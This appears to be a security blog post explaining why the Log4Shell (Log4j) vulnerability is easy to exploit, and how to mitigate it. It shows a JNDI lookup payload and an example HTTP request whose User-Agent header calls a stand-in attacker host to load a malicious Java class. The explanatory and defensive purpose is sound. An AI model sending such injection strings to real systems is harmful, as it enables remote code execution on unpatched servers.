Log4J / Log4Shell (Part 2): Why so easy to exploit

Remote Code Execution (RCE)

First, let’s clarify why this vulnerability – at least its more dangerous variants – is so critical.

For an attacker, the most powerful action is to be able to run any code that they want in the target system. That’s exactly what an RCE vulnerability allows them to do.

In Log4Shell this type of attack is possible because of an “advanced” feature in the Log4j mechanism. When writing logs with Log4j, a developer can insert some special instructions in the text being logged. Those instructions are wrapped in a specific tag (“${…}”) and tell Log4j to replace the whole tag with a value obtained from the instructions inside the tag.

Most of the time these instructions just tell Log4j to use a value from the execution environment – process ID, memory, etc. – which can be useful when analysing the logs for troubleshooting. So, it is basically a string interpolation mechanism. However, it also allows the developer to fetch values stored in a remote LDAP server using the JNDI API, e.g.:

${jndi:ldap://attacker.server}

This doesn’t sound too bad if it wasn’t for the fact that JNDI can be tricked into fetching code from the LDAP server and running it locally – while it’s trying to resolve the reference inside the ${} tag.

And that’s how Log4j is potentially open to an RCE attack.

The mechanism is clearly explained in the Veracode post: https://www.veracode.com/blog/research/exploiting-jndi-injections-java

How a simple HTTP request can trigger it?

The RCE scenario explained above represents a potential weakness of the Log4j mechanism but, as long as (trusted) developers control which “instruction tags” go into the logs, it doesn’t have to be exposed to external actors.

This is where the HTTP request comes into play. Not because it has some dangerous features, but because most services processing HTTP requests have a habit of logging all, or most of, the details of the request itself. That’s where pieces of text that are not under the developers’ control get handled by Log4j; including the processing of the special instruction tags. If you can include those tags in the HTTP request, then they will probably be written to a log at some point during the processing of the request. And it’s very easy to make any string part of the HTTP request without affecting the request itself; for example, using custom headers.

GET / HTTP/1.1
Host: vulnerable.com
User-Agent: ${jndi:ldap://attacker.com/path/to/malicious/javaclass}

Are there other simple attack vectors?

Unfortunately, yes. This vulnerability can be exploited just by getting Log4j to write logs with text controlled by the attacker. Any mechanism that allows external users to “inject” text into an application are potential attack vectors, and that’s what most applications are there for!

Now, most user input doesn’t ever get written to a log, but quite a bit of the metadata that comes with that input is logged, either as a matter of course or as a response to an error.

HTTP requests, email details, data input into a form, “hidden” data sent along with forms, etc., all can be written to a Log4j log at some point. Some of them with more frequency than others, but attackers just need to try different avenues until they find a vulnerable path.

Some good news

But it’s not all doom and gloom. Yes, this is a very dangerous vulnerability and all organisations need to ensure they scan their systems, but there are several actions that can mitigate and/or eliminate the vulnerability.

Given that the Log4Shell attack mechanism relies on a number of steps working in a specific manner, there are “breakpoints” at with the attack can be foiled:

• Block or “sanitise” external inputs. This is a general application security rule that is systematically used to prevent malicious code injections in SQL and Javascript; however, it’s not that common to check for the Log4j tags.
• Disable or update Log4j across your platforms. This is the best approach in the long term.
• Disable JNDI lookup. Another good action to break the attack, but it might not work for all scenarios.
• Disable Java remote execution.

These are nicely illustrated in this diagram created Swiss Government.

Other posts in this series

• Log4J / Log4Shell (Part 1): Misconceptions: https://appsecphoenix.com/log4j-log4shell-part-1-misconceptions/